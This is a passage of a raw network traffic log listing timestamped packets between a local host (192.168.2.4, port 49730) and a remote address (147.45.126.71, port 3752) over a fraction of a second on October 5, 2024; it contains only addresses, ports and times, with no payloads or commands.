Oct 5, 2024 14:33:09.181246042 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.181260109 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.181294918 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.181308031 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.181329966 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.181364059 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.181377888 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.181397915 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.181431055 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.181444883 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.181500912 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.181534052 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.181545973 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.181571007 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.181621075 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.181997061 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.182029009 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.182061911 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.182076931 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.182106972 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.182142973 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.182154894 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.182178020 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.182212114 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.182236910 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.182251930 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.182287931 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.182301998 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.185913086 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.185967922 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.185975075 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.186002970 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186054945 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.186110973 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186144114 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186178923 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186191082 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.186213970 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186247110 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186268091 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.186342955 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186378002 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186400890 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.186534882 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186568975 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186592102 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.186604977 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186640024 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186655045 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.186674118 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186707020 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186722040 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.186739922 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186774969 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186786890 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.186930895 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186965942 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.186980963 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.187001944 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.187048912 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.187069893 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.187164068 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.187196016 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.187211990 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.187230110 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.187278032 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.187314034 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.187346935 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.187381029 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.187397003 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.187438011 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.187469959 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.187488079 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.187537909 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.187572002 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.187589884 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.187606096 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.187638998 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.187654018 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.187674046 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.187709093 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.187721014 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.226819992 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.226903915 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.227072954 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.227108002 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.227140903 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.227159977 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.227176905 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.227210999 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.227225065 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.227246046 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.227279902 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.227293968 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.227364063 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.227406025 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.227415085 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.227451086 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.227483988 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.227499008 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.227519035 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.227566004 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.227811098 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.227844000 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.227878094 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.227896929 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.227910995 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.227945089 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.227962017 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.227978945 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.228043079 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.228046894 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.228123903 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.228157043 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.228171110 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.228188038 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.228220940 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.228235006 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.228256941 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.228302956 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.228543997 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.228595972 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.228629112 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.228655100 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.228662014 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.228697062 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.228722095 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.228729963 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.228765011 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.228780031 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.228799105 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.228832960 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.228847980 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.228867054 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.228912115 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.266161919 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.266297102 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.266350985 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.266355991 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.266387939 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.266421080 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.266438007 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.266458035 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.266506910 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.266604900 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.266638041 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.266671896 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.266686916 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.266705990 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.266740084 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.266753912 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.266774893 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.266824007 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.267081976 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.267160892 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.267194033 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.267216921 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.267227888 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.267261982 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.267286062 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.267294884 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.267328024 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.267348051 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.267360926 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.267411947 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.267421007 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.267445087 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.267478943 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.267488956 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.267513990 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.267561913 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.267788887 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.267822981 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.267858982 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.267872095 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.267925978 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.267960072 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.267976046 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.267995119 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.268049002 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.268129110 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.268162012 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.268212080 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.268219948 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.268263102 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.268296957 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.268320084 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.268332005 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.268364906 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.268390894 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.268399000 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.268434048 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.268452883 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.268466949 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.268501043 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.268512011 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.268913031 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.268949986 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.268963099 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.268980026 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.269026041 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.272412062 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.272519112 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.272553921 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.272578001 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.272587061 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.272622108 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.272653103 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.272655964 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.272690058 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.272716045 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.272723913 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.272778988 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.272900105 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.272934914 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.272968054 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.272981882 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.272998095 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273031950 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273045063 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.273066044 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273098946 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273113012 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.273134947 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273180008 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.273279905 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273314953 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273348093 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273377895 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.273381948 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273416042 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273439884 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.273627043 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273659945 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273684025 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.273694038 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273729086 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273751020 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.273761988 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273798943 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273808002 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.273835897 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273881912 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.273920059 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273952961 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.273987055 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.274005890 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.274019957 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.274065018 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.274132013 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.274164915 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.274198055 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.274209023 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.274229050 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.274332047 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.313142061 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.313272953 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.313307047 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.313344955 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.313370943 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.313405037 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.313424110 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.313437939 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.313472033 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.313489914 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.313505888 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.313555956 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.313810110 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.313843966 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.313878059 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.313899994 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.314106941 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.314137936 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.314161062 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.314171076 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.314204931 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.314235926 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.314239025 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.314274073 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.314306974 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.314311028 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.314344883 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.314361095 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.314383984 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.314434052 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.314555883 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.314589024 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.314621925 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.314636946 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.314660072 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.314707994 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.314941883 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.314975023 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.315009117 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.315041065 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.315042019 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.315077066 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.315090895 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.315114021 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.315148115 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.315165043 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.315184116 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.315217018 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.315233946 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.315252066 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.315316916 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.353099108 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.353132963 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.353168011 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.353219032 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.353226900 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.353251934 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.353286028 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.353321075 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.353389978 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.353389978 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.353490114 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.353523016 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.353545904 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.353559017 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.353593111 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.353610992 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.353629112 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.353662968 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.353681087 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.353955030 CEST	3752	49730	147.45.126.71	192.168.2.4
